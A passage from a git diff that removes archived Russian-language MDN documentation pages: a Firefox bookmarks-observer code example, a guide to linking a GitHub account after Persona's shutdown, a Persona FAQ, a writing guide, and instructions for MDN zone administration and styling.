-<pre class="eval">var parentFolderId = bmsvc.getFolderIdForItem(newBkmkId);
-</pre>
-<h3 id="Observing_changes_to_bookmarks_and_tags" name="Observing_changes_to_bookmarks_and_tags">Observing changes to bookmarks and tags</h3>
-<p>To set up an observer to listen for changes related to bookmarks, you will need to create an <code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarkObserver" title="">nsINavBookmarkObserver</a></code> object and use the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#addObserver()">nsINavBookmarksService.addObserver()</a></code> and <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsINavBookmarksService#removeObserver()">nsINavBookmarksService.removeObserver()</a></code> methods.  Note that this example takes advantage of <a class="internal" href="/En/XPCOMUtils.jsm" title="En/XPCOMUtils.jsm">XPCOMUtils</a> to generate the <code><a href="https://developer.mozilla.org/ru/docs/XPCOM_Interface_Reference/nsISupports#QueryInterface()">nsISupports.QueryInterface()</a></code> method.</p>
-<pre class="eval">// An nsINavBookmarkObserver
-var myExt_bookmarkListener = {
- onBeginUpdateBatch: function() {},
- onEndUpdateBatch: function() {},
- onItemAdded: function(aItemId, aFolder, aIndex) {},
- onItemRemoved: function(aItemId, aFolder, aIndex) {},
- onItemChanged: function(aBookmarkId, aProperty, aIsAnnotationProperty, aValue) {
- MyExtension.doSomething();
- },
- onItemVisited: function(aBookmarkId, aVisitID, time) {},
- onItemMoved: function(aItemId, aOldParent, aOldIndex, aNewParent, aNewIndex) {},
- QueryInterface: XPCOMUtils.generateQI([Components.interfaces.nsINavBookmarkObserver])
-};
-// An extension
-var MyExtension = {
- // This function is called when my add-on is loaded
- onLoad: function() {
- bmsvc.addObserver(myExt_bookmarkListener, false);
- },
- // This function is called when my add-on is unloaded
- onUnLoad: function() {
- bmsvc.removeObserver(myExt_bookmarkListener);
- },
- doSomething: function() {
- alert("Did something.");
- }
-};
-</pre>
-<h3 id="See_also" name="See_also">See also</h3>
-<ul>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarksService" title="">nsINavBookmarksService</a></code></li>
- <li><code><a href="/ru/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavBookmarkObserver" title="">nsINavBookmarkObserver</a></code></li>
- <li><a href="/en-US/docs/Places">Places</a></li>
-</ul>
diff --git a/files/ru/mdn/contribute/howto/привязка_github_аккаунта/index.html b/files/ru/mdn/contribute/howto/привязка_github_аккаунта/index.html
deleted file mode 100644
index a627bdde50..0000000000
--- a/files/ru/mdn/contribute/howto/привязка_github_аккаунта/index.html
+++ /dev/null
@@ -1,116 +0,0 @@
----
-title: Как привязать GitHub аккаунт к вашему MDN профилю
-slug: MDN/Contribute/Howto/Привязка_GitHub_аккаунта
-tags:
- - Documentation
- - MDN
- - MDN Meta
- - MDN Project
-translation_of: Archive/MDN/Howto_Link_a_Github_account
----
-<div>{{MDNSidebar}}</div>
-
-<div>{{IncludeSubnav("/ru/docs/MDN")}}</div>
-
-<div class="note">
-<p><strong>Note: </strong>Support for Persona logins on MDN was disabled on November 1, 2016. The method for adding a Github account to your profile therefore no longer works. If you didn't add a GitHub login to your MDN account before we disabled Persona logins, please <strong>file an <a class="external external-icon" href="https://mzl.la/accounthelp">"Account Help" bug</a> </strong>on Bugzilla. For further reading about the end of life of Persona, see: <a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers">Persona shutdown guidelines</a>.</p>
-</div>
-
-<p><span class="seoSummary">Поскольку 1 ноября 2016 г. система авторизации Mozilla <a href="https://login.persona.org/">Persona</a> будет отключена, всем пользователеям, которые хотят вносить вклад в MDN понадобится другой способ входа на MDN.<br>
- В настоящее время, единственная альтернатива, которую мы поддерживаем - GitHub, так что вам понадобится <a href="https://github.com/">GitHub</a> аккаунт, чтобы входить и редактировать MDN после этой даты. Эта статья описывает, как добавить авторизацию через GitHub к вашему профилю MDN.</span></p>
-
-<div class="warning">
-<p>Вы должны сделать это до 1 ноября 2016, иначе вы больше не сможете входить на MDN!</p>
-</div>
-
-<h2 id="Обзор">Обзор</h2>
-
-<p>Добавление авторизации через GitHub к вашему аккаунту осуществить не трудно. Мы рассмотрим всё детально, но сначала, вот список шагов:</p>
-
-<ol>
- <li><a href="/ru/docs/MDN/Signing_in">Войдите в ваш MDN аккаунт.</a></li>
- <li>Перейдите на страницу <a href="/ru/users/account/connections">присоединённые аккаунты</a>.</li>
- <li>Добавьте авторизацию через GitHub.</li>
-</ol>
-
-<h2 id="Подробная_инструкция">Подробная инструкция</h2>
-
-<p>Ниже представлено пошаговое руководство о том, как сделать все необходимое для того, чтобы авторизоваться через GitHub.</p>
-
-<h3 id="Войдите_в_свой_MDN_аккаунт">Войдите в свой MDN аккаунт</h3>
-
-<ol>
- <li>В верхней части каждой страницы MDN расположен блок авторизации. Он отображает доступные методы авторизации: <strong>Persona </strong>и <strong>GitHub</strong>.<br>
- <img alt="Sign in box on MDN, showing Persona and Github." src="https://mdn.mozillademos.org/files/13426/Mozilla_Developer_Network_-__Private_Browsing_.png" style="border-style: solid; border-width: 1px; height: 140px; width: 425px;"></li>
- <li>Выберите <strong>Persona</strong>, и войдите, используя свой логин и пароль. Если вы получаете ошибку о том, что система вас не узнаёт, убедитесь, что вы ввели адрес электронной почты, который вы использовали при входе на MDN через Persona. Если у вас по-прежнему есть проблемы, посмотрите раздел {{anch("Persona_не_помнит_меня", "Persona не помнит меня")}}.</li>
-</ol>
-
-<h3 id="Перейдите_на_страницу_присоединённые_аккаунты">Перейдите на страницу "присоединённые аккаунты"</h3>
-
-<p>Просто щёлкните по кнопке ниже.</p>
-
-<p>Или выполните следующее:</p>
-
-<ol>
- <li>Щёлкните по вашему имени пользователя вверху любой страницы MDN. (Там же, где был блок <strong>Авторизации</strong>, когда вы входили). Откроется ваш профиль.</li>
- <li>Откройте меню, щёлкнув по "шестерёнке", и выберите <strong>Присоединённые аккаунты</strong>.<br>
- <img alt='Gear menu in profile, showing the "Account connections" option' src="https://mdn.mozillademos.org/files/13428/SheppyWork___MDN_-__Private_Browsing_.png" style="height: 217px; width: 219px;"></li>
-</ol>
-
-<h3 id="Добавление_авторизации_через_GitHub">Добавление авторизации через GitHub</h3>
-
-<p>На странице "Присоединённые аккаунты", есть уже присоединённые к профилю MDN внешние аккаунты. Если GitHub в этом списке - поздравляем! Всё готово! Но проверьте, что помните ваш пароль, выйдя с MDN и войдя снова через GitHub.</p>
-
-<p>Если GitHub ещё нет в списке, то поищите список привязанных аккаунтов. Вы найдёте раздел под названием <strong>Подключить новый аккаунт</strong>, в котором будут перечислены возможные типы аккаунтов, которые можно привязать к вашему профилю MDN. Выглядит он примерно так:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13430/Account_Connections___MDN_-__Private_Browsing_.png" style="height: 79px; width: 476px;"></p>
-
-<p>Чтобы добавить GitHub:</p>
-
-<ol>
- <li>Щёлкните <strong>Присоединить GitHub</strong>. MDN свяжется с GitHub и запросит разрешение на связывание аккаунтов. Если у вас еще нет аккаунта на GitHub, вам будет предложено создать его:<br>
- <img alt="Screenshot of GitHub sign in window." src="https://mdn.mozillademos.org/files/13444/GitHub_Sign_In.png" style="height: 447px; width: 356px;"></li>
- <li>Если в вашем аккаунте GitHub включена двухфакторная авторизация, то вам будет предложено ввести код:<br>
- <img alt="Screenshot of GitHub's Two-factor authentication window." src="https://mdn.mozillademos.org/files/13460/GitHub_-_Where_software_is_built.png" style="height: 448px; width: 361px;"></li>
- <li>После входа в аккаунт GitHub, вам будет предложено разрешить связь между GitHub и MDN<br>
- (если у вас ещё нет разрешения по какой-либо причине). Эта страница показана ниже.<br>
- <img alt='Screenshot of GitHub "Authorize application" window.' src="https://mdn.mozillademos.org/files/13456/Authorize_Mozilla_Developer_Network.png" style="height: 420px; width: 766px;"><br>
- Щёлкните по зелёной кнопке <strong>Authorize application</strong>, чтобы предоставить разрешение доступа MDN к вашему аккаунту на GitHub. В случае успешной привязки - появится сообщение:<br>
- <img alt="Account successfully created." src="https://mdn.mozillademos.org/files/13454/Edit_Your_Profile___MDN.png" style="height: 57px; width: 646px;"></li>
-</ol>
-
-<p>Теперь вы не только можете использовать GitHub для входа на MDN, а уже вошли, используя ваш аккаунт GitHub! Теперь вы готовы к отключению Persona. Убедитесь, что обновили пароль в ваших менеждерах для паролей, если необходимо.</p>
-
-<h2 id="Устранение_проблем">Устранение проблем</h2>
-
-<p>Если сталкиваетесь с проблемами, когда пытаете добавить ваш GitHub аккаунт к вашему профилю, то надеемся, что советы по устранению проблем ниже помогут. Если они не помогают, пожалуйста, не стесняйтесь попросить у нас помощи на <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs</a>.</p>
-
-<h3 id="Ошибка_Не_удалось_найти_профиль_соответствующий_аккаунту">Ошибка: Не удалось найти профиль соответствующий аккаунту</h3>
-
-<p>Если вы пытаетесь присоединить GitHub аккаунт к вашему профилю и получаете ошибку "Could not find profile matching account", то может быть несколько возможных проблем. Если у вас есть несколько аккаунтов на GitHub, то может возникнуть некоторая путаница; GitHub может не сообщить ожидаемого адреса электронной почты MDN при попытке привязки аккаунта, что является причиной этой ошибки. Другие сбои в этом процессе также могут быть причиной этой ошибки.</p>
-
-<p>Один из способов обойти эту проблему: откройте новую приватную вкладку в вашем браузере; в Firefox, например, выберите "Новое приватное окно" в Меню-&gt;Файл (или нажмите <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> [<kbd>Cmd</kbd>-<kbd>Shift</kbd>-<kbd>P</kbd> на Mac]). Зайдите на MDN, <a href="/ru/docs/MDN/Signing_in">войдите в свой MDN аккаунт</a>, а затем попытайсь снова привязать ваш GitHub аккаунт к профилю, как описано выше.</p>
-
-<p>Также, убедитесь, что пытаетесь войти через Persona.</p>
-
-<h3 id="Моя_привязка_GitHub_не_отображается_на_странице_присоединённых_аккаунтов.">Моя привязка GitHub не отображается на странице присоединённых аккаунтов.</h3>
-
-<p>Это может просходить из-за кеширования. Перезагрузите страницу или попробуйте выйти и войти снова, чтобы решить эту проблему.</p>
-
-<h3 id="Persona_не_помнит_меня">Persona не помнит меня</h3>
-
-<p>Если когда вы пытаетесь войти через Persona, чтобы добавить ваш GitHub аккаунт в ваш MDN профиль, вы получаете сообщение "Your email address is new to us", то это, вероятно, потому что прошло слишком много времени с того момента, когда вы последний раз входили через Persona, поэтому они удалили ваш адрес электронной почты из их системы. Это случается после некоторого периода времени; окно входа Persona выгдядит так:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/13765/unknown-to-persona.png" style="height: 533px; width: 800px;"></p>
-
-<p>Если это произошло, ваш нужно просто следовать инструкциям Persona, чтобы создать пароль для этого адреса электронной почты. MDN ничего не удаляет; главное, чтобы адрес совпал. Придёт письмо, чтобы подтвердить, что это ваш адрес электронной почты, скорее всего от <code>no-reply@persona.org</code>. Если у вас установлены фильтры спама, оно может попасть в папку "Спам".</p>
-
-<p>Как только вы установите пароль для адреса электронной почты, который вы использовали для входа на MDN, ваш доступ на MDN будет восстановлен. Теперь вы можете следовать шагам в разделе {{anch("Подробная_инструкция", "Подробная инструкция")}}, чтобы добавить ваш аккаунт GitHub в ваш профиль MDN.</p>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li><a href="/ru/docs/MDN/Contribute/Howto/Create_an_MDN_account">Как создать MDN аккаунт</a></li>
- <li><a href="/ru/docs/MDN/Getting_started">MDN - быстрый старт!</a></li>
- <li><a href="/ru/docs/MDN/Contribute/Howto">Руководства "Как сделать"</a></li>
-</ul>
diff --git a/files/ru/mdn/contribute/вход_через_persona/index.html b/files/ru/mdn/contribute/вход_через_persona/index.html
deleted file mode 100644
index 7a7c54e7cd..0000000000
--- a/files/ru/mdn/contribute/вход_через_persona/index.html
+++ /dev/null
@@ -1,32 +0,0 @@
----
-title: MDN и вход через Persona
-slug: MDN/Contribute/Вход_через_Persona
-tags:
- - Documentation
- - MDN
- - MDN Meta
- - Mozilla
- - Persona
-translation_of: Archive/MDN/Persona_sign-ins
----
-<div>{{MDNSidebar}}</div><div class="warning">
-<p>Пожалуйста, <a href="/ru/docs/MDN/Contribute/Howto/Привязка_GitHub_аккаунта">привяжите свой GitHub аккаунт к вашему MDN профилю сейчас</a>, чтобы вы смогли продолжить входить на MDN.</p>
-</div>
-
-<p>В настоящее время, MDN позволяет помощникам входить через 2 различных провайдера: Mozilla Persona и GitHub. Начиная с 1 ноября 2016, мы удалим Persona из вариантов для входа. Поэтому, вы должны добавить аккаунт Github в вашем профиле, чтобы избежать потери доступа на MDN.</p>
-
-<p>Мы понимаем, что это неудобство, и приносим за него свои извинения. К сожалению, это не наше решение.</p>
-
-<h2 id="Почему_мы_удаляем_Persona">Почему мы удаляем Persona?</h2>
-
-<p>Mozilla закрыла проект Persona, и все его серверы будут отключены в ноябре 2016. Вы можете <a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers#FAQs">узнать больше о решении Mozilla</a> выключить Persona на Mozilla wiki.</p>
-
-<h2 id="Когда_будет_удалена_Persona">Когда будет удалена Persona?</h2>
-
-<p>Мы отключим Persona как провайдера для входа 1 ноября 2016; другими словами, последний день, когда вы сможете войти на MDN, используя Persona, будет 31 октября 2016. Мы будем показывать всё более частые и более срочные уведомления <a href="/ru/docs/MDN/Contribute/Howto/Привязка_GitHub_аккаунта">добавить GitHub аккаунт к вашему MDN профилю</a>, начиная с этого момента. Пожалуйста, сделайте это как можно скорее, чтобы избежать любого риска потери доступа в MDN аккаунт.</p>
-
-<h2 id="Будет_ли_MDN_предоставлять_другого_провайдера_для_входа">Будет ли MDN предоставлять другого провайдера для входа?</h2>
-
-<p>Нам бы очень хотелось это сделать, но мы до сих пор не нашли другого провайдера, который отвечает нашим требованиям; кроме того, в настоящее время у нас нет ресурсов разработчиков для интеграции другого провайдера. В настоящее время, ваше <em>единственное</em> решение проблемы доступа на MDN - <a href="/ru/docs/MDN/Contribute/Howto/Привязка_GitHub_аккаунта">привязка вашего MDN профиля к вашему GitHub аккаунту</a>.</p>
-
-<p>Имейте в виду, конечно, вам не нужно входить на MDN, чтобы читать наш контент. Но если у вас есть аккаунт для помощи, и вы хотите иметь возможность внести свой вклад в любое время в будущем, то убедитесь, что <em><strong>привяжете GitHub аккаунт к вашему профилю как можно быстрее,</strong></em> до 31 октября 2016.</p>
diff --git a/files/ru/mdn/user_guide/writing/index.html b/files/ru/mdn/user_guide/writing/index.html
deleted file mode 100644
index b83e7bcfc8..0000000000
--- a/files/ru/mdn/user_guide/writing/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Написание статей
-slug: MDN/User_guide/Writing
-tags:
- - MDN
-translation_of: Archive/Meta_docs/Writing_content
----
-<div>{{MDNSidebar}}</div><p>На MDN всегда существуют вещи, которые добавляются или обновляются. Будь то новая документация по новому сверкающему API или пересмотр старого, слегка изменившегося, API, вы всегда найдёте множество возможностей для помощи.</p>
-
-<h2 id="Editing_an_existing_page" name="Editing_an_existing_page">Редактирование существующей страницы</h2>
-<p>Если вы нашли страницу, которую хотели бы пересмотреть, просто нажмите на кнопку «Редактировать» в её верхнем правом углу. Это действие откроет WYSIWYG-редактор для работы над содержимым страницы. Для подробностей о том, как работать с редактором, а также с системой макросов, которую мы используем для автоматизации некоторырых конструкций форматирования содержимого, смотрите <a href="/ru/docs/Project:MDN/Contributing/Editor_guide">руководство по редактору MDN</a>.</p>
-<p>Существует множество причин, по которым вы можете захотеть отредактировать существующую страницу:</p>
-<ul>
- <li>Вы обнаружили ошибку или опечатку.</li>
- <li>Вы хотите изменить формулировку для её лучшего понимания.</li>
- <li>Компоновка или форматирование страницы ужасно.</li>
- <li>Задокументированный API изменился и документация нуждается в обновлении, чтобы она соотвествовала этим изменениям.</li>
- <li>Вы хотите добавить информацию о разнице в поведении API между браузерами.</li>
- <li>Вы хотите добавить или улучшить примеры кода. Для подробностей смотрите раздел {{anch("Add_a_code_sample", "добавление примера кода")}} ниже.</li>
- <li>Статья является заглушкой, либо просто упускает некоторые важные детали.</li>
-</ul>
-
-<h2 id="Adding_a_new_page" name="Adding_a_new_page">Добавление новой страницы</h2>
-<p>Это очень здорово! Добавление новой страницы на MDN делает веб чуточку лучше. Есть несколько очевидных причин для создания новой страницы, включая документирование API, который ещё не был задокументирован, либо добавление нового урока или руководства по теме.</p>
-<p>Существует несколько способов создания новой страницы на MDN, но все они доступны только когда вы <a href="/ru/docs/Project:MDN/Contributing/Getting_started#Logging_into_MDN">вошли в систему</a>:</p>
-<dl>
- <dt>Нажатие на ссылку, ведущую на «несуществующую страницу»</dt>
- <dd>При просмотре MDN, иногда вы будете находить ссылки на ещё несуществующие страницы. Довольно часто при создании статьи мы включаем в неё ссылки на страницы, которые нужно создать, но которые мы ещё не создали. Это помогает нам следить за теми вещами, что, в конечном итоге, должны быть сделаны, хотя иногда, чтобы вернуться к ним, требуется время. Вы можете не стесняться и сами сделать это! Просто нажмите на ссылку, и вы попадёте прямо в редактор для новой страницы.</dd>
- <dt>Создание дочерней страницы</dt>
- <dd>В верхнем правом углу каждой статьи находится выпадающее меню «Эта страница». В этом меню есть пункт <strong>«Новая подстраница»</strong>. Нажатие на этот пункт меню открывает редактор для новой страницы, чьим родителем в иерархии сайта будет страница, на которой вы нажали пункт меню <strong>«Новая подстраница»</strong>. Просто заполните название и короткую ссылку и начните создавать содержимое страницы.</dd>
- <dt>Создание клона страницы</dt>
- <dd>Вы также можете склонировать существующую страницу, используя пункт <strong>«Клонировать эту страницу»</strong> в выпадающем меню «Эта страница». Нажатие на этот пункт создаст копию текущей страницы, чьим родителем будет та же страница, что и у текущей страницы и откроет редактор, в котором вы сможете проставить название и короткую ссылку склонированной страницы, а также отредактировать её содержимое. Как правило, это хороший способ добавления новой страницы в уже существующую область сайта, например потому, что вы получаете образец компоновки для нового содержимого.</dd>
- <dt>Создание ссылки на несуществующую страницу, затем нажатие на неё</dt>
- <dd>Это в некотором роде гибридный метод. Поскольку каждая страница должна быть связана с какой-нибудь другой, вы можете начать с создания ссылки на новую статью на уже существующей странице, а затем, после сохранения той страницы, вы можете нажать на только что созданную ссылку и открыть редактор для новой статьи.</dd>
-</dl>
-<div class="note">
- <p><strong>Примечание:</strong> если вы не вошли в систему, вы получите ошибку 404 при попытке просмотреть несуществующую статью, вместо появления редактора для создания новой страницы.</p>
-</div>
-
-<h2 id="Finding_information" name="Finding_information">Поиск информации</h2>
-<p>На сайте содержится просто огромное количество информации и поэтому может быть сложно выцепить точную необходимую вам помощь. Вот несколько подсказок, с чего можно начать.</p>
-<dl>
- <dt><a href="https://wiki.mozilla.org/Modules">Списки владельцев модулей</a></dt>
- <dd>Проекты Mozilla работают на базе так называемых «владельцев модулей»; каждый главный компонент имеет владельца или владельцев, которые отвечают за то, что с ним происходит. Владельцы часто являются лучшим источником информации — или, по крайней мере, они помогут найти нужного человека, с которым можно поговорить.</dd>
- <dt><a href="http://mxr.mozilla.org/">Перекрёстные ссылки между исходниками Mozilla</a></dt>
- <dd>MXR, перекрёстные ссылки проектов Mozilla, позволяет вам получить доступ к всем исходным кодам проекта Mozilla (за исключением некоторых вещей, главным образом связанных с ОС Firefox, которые находятся на GitHub). Код и комментарии в коде часто являются отличным информационным ресурсом.</dd>
- <dt><a href="http://wiki.mozilla.org/">Вики Mozilla</a></dt>
- <dd>Вики Mozilla — часто на неё ссылаются как на «wikimo» — это хранилище замечаний по процессу и дизайну, черновиков, планов и предварительных спецификаций. Несмотря на то, что часто там сам чёрт ногу сломит, она является кладезем бесценной информации.</dd>
-</dl>
diff --git a/files/ru/mdn/user_guide/zone_administration/index.html b/files/ru/mdn/user_guide/zone_administration/index.html
deleted file mode 100644
index 95704a390d..0000000000
--- a/files/ru/mdn/user_guide/zone_administration/index.html
+++ /dev/null
@@ -1,207 +0,0 @@
----
-title: Управление зонами
-slug: MDN/User_guide/Zone_administration
-tags:
- - Documentation
- - MDN
-translation_of: Archive/MDN/Zones
----
-<div>{{MDNSidebar}}</div><p><span class="seoSummary"><strong>Зона</strong> — это специальная область MDN, чьё содержимое представлено с некоторыми дополнительными элементами управления, например, специальным блоком навигации по зоне и визуально улучшенной шапкой страницы. В этом руководстве рассматривается, как создавать и поддерживать зоны.</span></p>
-
-<p>К примеру, область MDN <a href="/ru/docs/MDN">Проект MDN</a> представлена зоной.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> реализация зон — а также определение того, как они должны использоваться — всё ещё в активной разработке и может значительно измениться. Пожалуйста, если у вас есть вопросы о том, что здесь написано, задавайте их на канале #mdn в IRC, особенно, если вы планируете создать зону или превратить в неё какой-нибудь существующий материал.</p>
-</div>
-
-<h2 id="Zone_features" name="Zone_features">Возможности зон</h2>
-
-<p>После того, как вы создадите зону (её создание описывается ниже), вы получаете различные специальные возможности и преимущества, которые можно и нужно использовать:</p>
-
-<ul>
- <li>Область заголовка, окрашиваемая в цвет, однозначно определяющий вашу зону.</li>
- <li>Представляющий зону баннер в области заголовка.</li>
- <li>Целевая страница зоны, построенная на основе навигационной иерархии зоны и представляющая большую, чем обычно, зону для большого баннера, а также место под краткое описание зоны.</li>
- <li>Специальная боковая панель с навигацией; зоны могут включать в эту навигацию содержимое из любой части MDN, даже если оно не находится в иерархии зоны.</li>
- <li>Дочерние страницы целевой страницы зоны — то есть, страницы, физически расположеные под целевой страницей — наследуют цвет зоны и её баннер, маленькую область сверху страницы.</li>
-</ul>
-
-<p><strong>Добавить схему/диаграмму компоновки</strong></p>
-
-<p>Существует два основных типа зон: <strong>зоны внутри вики</strong> и <strong>зоны мини-сайта</strong>.</p>
-
-<h3 id="In-wiki_zones" name="In-wiki_zones">Зоны внутри вики</h3>
-
-<p><strong>Зона внутри вики</strong> — это зона, использующая преимущества функциональности зон, в тоже время оставаясь частью основного потока содержимого документации MDN. Например, эта зона, зона «<a href="/ru/docs/MDN">Проекта MDN</a>», является зоной внутри вики. Они являются своего рода полузонами в том смысле, что обычно они не включают содержимое извне своей собственной иерархи.</p>
-
-<p>Зоны внутри вики позволяют сегментировать MDN для добавления дополнительных визуальных украшательств и, что более важно, боковых панелей навигации без выдёргивания пользователя из основного потока содержимого MDN.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> зоны внутри вики обычно не появляются в списке «Зоны» на домашней странице MDN, поскольку они рассматриваются как часть основного тела содержимого документации MDN.</p>
-</div>
-
-<h3 id="Mini-site_zones" name="Mini-site_zones">Зоны мини-сайта</h3>
-
-<p><strong>Зона мини-сайта</strong> — это зона, которая, хотя и редактируется и управляется при помощи того же самого интерфейса, что и любая другая вики-страница на MDN, представлена вне основного потока содержимого документации. Во всех функциональных отношениях она поддерживает всю стандартную функциональность вики, предоставляемую платформой <a href="/ru/docs/MDN/Kuma">Kuma</a>, на которой построен MDN. Хорошим примером зоны может служить <a href="/ru/Apps">Центр приложений</a>.</p>
-
-<p>При создании зоны мини-сайта она получает новый URL за пределами дерева "/docs/" на MDN, обычно он выглядит как <code>https://developer.mozilla.org/<em>&lt;локаль&gt;</em>/zone/<em>&lt;название_вашей_зоны&gt;</em></code>.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> в общем случае только очень значительное, специализированное содержимое должно быть перемещено за пределы иерархии вики; эти зоны предназначены в первую очередь для настройки специализарованных рекламных компаний и/или связанного с программой содержимого.</p>
-</div>
-
-<h2 id="What_should_be_a_zone.3F" name="What_should_be_a_zone.3F">Что должно быть зоной?</h2>
-
-<p>Это интересный вопрос, и, честно говоря, ответ на него будет меняться с течением времени. Зоны являются новой концепцией для MDN и мы всё ещё изучаем, как именно мы будем их использовать.</p>
-
-<p>Существует две основные причины создания зон:</p>
-
-<ol>
- <li>Вам нужно настроить <strong>мини-сайт</strong> для рекламной кампании или конкретного продукта.</li>
- <li>Вы хотите создать, так сказать, единое окно доступа к теме, охватывающей несколько областей технологии.</li>
-</ol>
-
-<h2 id="Creating_a_zone" name="Creating_a_zone">Создание зоны</h2>
-
-<p>Первым шагом является создание содержимого. Как минимум, вы должны создать начальную целевую страницу, которая станет корневой страницей вашей зоны. Если у вас есть хотя бы корневая страница и, возможно, даже несколько дочерних страниц, вы можете превратить их в зону.</p>
-
-<p>Для превращения раздела MDN в зону требуются привилегии администратора MDN, так что вам нужно попросить администратора MDN сделать это за вас. В запросе на превращение раздела в зону вы должны предоставить администратору несколько вещей:</p>
-
-<ul>
- <li>Какая страница MDN должна быть превращена в корневую страницу новой зоны. Имейте ввиду, что все страницы, ниже её по иерархии, станут частью зоны.</li>
- <li>Является ли ваша зона {{anch("In-wiki_zones", "зоной внутри вики")}} или {{anch("Mini-site_zones", "зоной мини-сайта")}}?</li>
- <li>Так же вы должны предоставить информацию о стилях и картинки для настройки области шапки будущей зоны. Для подробностей смотрите раздел {{anch("Customizing_the_appearance", "Изменение внешнего вида")}}.</li>
-</ul>
-
-<div class="note">
-<p><strong>Примечание:</strong> поскольку зоны являются конструкциями специального назначения, вам, вероятно, будет предложено обосновать, почему содержимое должно быть выделено в отдельную зону. Для понимания вопроса обратитесь к разделу {{anch("What_should_be_a_zone.3F", "Что должно быть зоной?")}}</p>
-</div>
-
-<h2 id="Changing_the_zone_access_policy" name="Changing_the_zone_access_policy">Изменение политики доступа к зоне</h2>
-
-<p>В настоящий момент нет никакой поддержки разграничения прав доступа к зонам. Эту функциональность планируется добавить в будущем. Если вам нужно разграничение прав, пожалуйста, дайте нам знать, чтобы мы могли скорректировать приоритеты для этой работы.</p>
-
-<h2 id="Customizing_the_appearance" name="Customizing_the_appearance">Настройка внешнего вида</h2>
-
-<p>Частью того, что делает зону зоной, является возможность настройки её внешнего вида. Как минимум, она подразумевает настройку особого цвета и фонового изображения в шапке страниц зоны, помогающие пользователю понять, что он находится в определённой зоне. Также можно сделать и другие изменения внешнего вида страницы, однако они не должны выбиваться из общего стиля MDN.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> важно иметь в виду, что инструкции, изложенные ниже, являются всего лишь <strong>подсказками</strong>. Вы можете попытаться более тонко настроить CSS для своей зоны. Просто имейте в виду, что ваши изменения могут быть пересмотрены нашими командами по UX и/или дизайну и они должны вписываться в общий стиль MDN.</p>
-</div>
-
-<h3 id="Basic_customization" name="Basic_customization">Базовая настройка</h3>
-
-<p>Базовая требуемая настройка для каждой зоны — это настройка цвета фона и изображения в шапке страниц зоны. Во время запроса создания зоны вас попросят предоставить эти данные. Далее изложены основные рекомендации по тому, что вы должны предоставить.</p>
-
-<ul>
- <li>Фоновый цвет должен явно отличаться от фонового цвета остальных зон и в тоже время иметь отношение к освещаемой зоной теме. Вы должны определить его как {{cssxref("&lt;color&gt;")}}, чтобы администратор MDN мог настроить вашу зону.</li>
- <li>По умолчанию, фоновое изображение появляется с правой стороны шапки (или с левой стороны в локалях с написанием текста справа-налево). Это изображение может быть в любом совместимом с веб формате, хотя обычно предпочтителен формат PNG. Оно должно либо смешиваться с вашим фоновым цветом, либо (что предпочтительнее) иметь прозрачный фон. Как правило, фоновое изображение должно быть около 468 пикселей в ширину и 400 пикселей в высоту, хотя в CSS на странице может быть проставлено значение {{cssxref("overflow")}} для его обрезки при необходимости. Тем не менее, создание слишком большого изображения увеличивает размер страницы, чего следует избегать.</li>
- <li>Изображение может быть отправлено администратору MDN во время вашего запроса на создание зоны, или оно может быть одним из уже загруженных на MDN с соответствующей страницей вложений.</li>
-</ul>
-
-<p>Имея эту информацию, команда администраторов MDN сможет установить для вас базовый CSS вашей зоны. Однако, если вы хотите, вы можете пойти дальше и предоставить свой собственный CSS. Следуя инструкциям в разделе {{anch("Additional_customizations", "Дополнительные изменения")}}, вы можете поэкспериментировать с другими изменениями визуального стиля вашей зоны.</p>
-
-<h3 id="Additional_customizations" name="Additional_customizations">Дополнительные изменения</h3>
-
-<p>Если вы хотите исследовать дополнительные возможности настройки, взгляните на шаблоны CSS/stylus, расположенные <a href="https://github.com/mozilla/kuma/blob/master/media/redesign/stylus/zones.styl">на github</a>. Это список всех CSS Stylus для стилей, которые вам позволено менять при помощи вашего CSS для зоны.</p>
-
-<p>Если вы хотите сделать дополнительные настройки, вы можете это сделать, но с одной важной оговоркой: ваши изменения не должны настолько значительными, что страницы зоны перестают выглядеть как часть MDN.</p>
-
-<p>При изменении таблицы стилей зоны вашими задачами становятся выделить те стили из шаблона, которые вы хотите изменить и поместить их в результирующий CSS. Как только вы сделаете это, предоставьте получившийся CSS команде администраторов MDN и они установят его для вас.</p>
-
-<p>Всё содержимое, относящееся к зонам, имеет класс <code>zone</code>.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> пожалуйста, обратите внимание, что поскольку сайт находится в стадии активной разработки, любые обсуждаемые здесь классы и стили могут быть изменены без предварительного уведомления.</p>
-</div>
-
-<h4 id="Background_colors" name="Background_colors">Фоновые цвета</h4>
-
-<p>Как ранее упоминалось, первым делом вы, вероятно, захотите настроить фоновый цвет шапки вашей зоны. CSS может выглядеть подобным образом:</p>
-
-<pre class="brush: css">.zone #main-header, .zone .zone-article-header, .zone .zone-landing-header {
- background-color: <strong><em>цвет-зоны</em></strong>;
-}
-</pre>
-
-<p>Идентификатор <code>main-header</code> ссылается на область навигации по сайту в самом верху страницу. Она включает вкладку «Mozilla» для междусайтовой навигации, поле поиска и другую глобальную функциональность по навигации.</p>
-
-<p>Класс <code>zone-article-header</code> представляет внешний вид шапки на страницах со статьями внутри зоны. То есть, все страницы, кроме целевой страницы зоны, будут в своей шапке иметь этот класс.</p>
-
-<p>Класс <code>zone-landing-header</code> используется в шапке целевой страницы зоны. Это более высокая шапка на целевой странице с большим изображением внутри неё.</p>
-
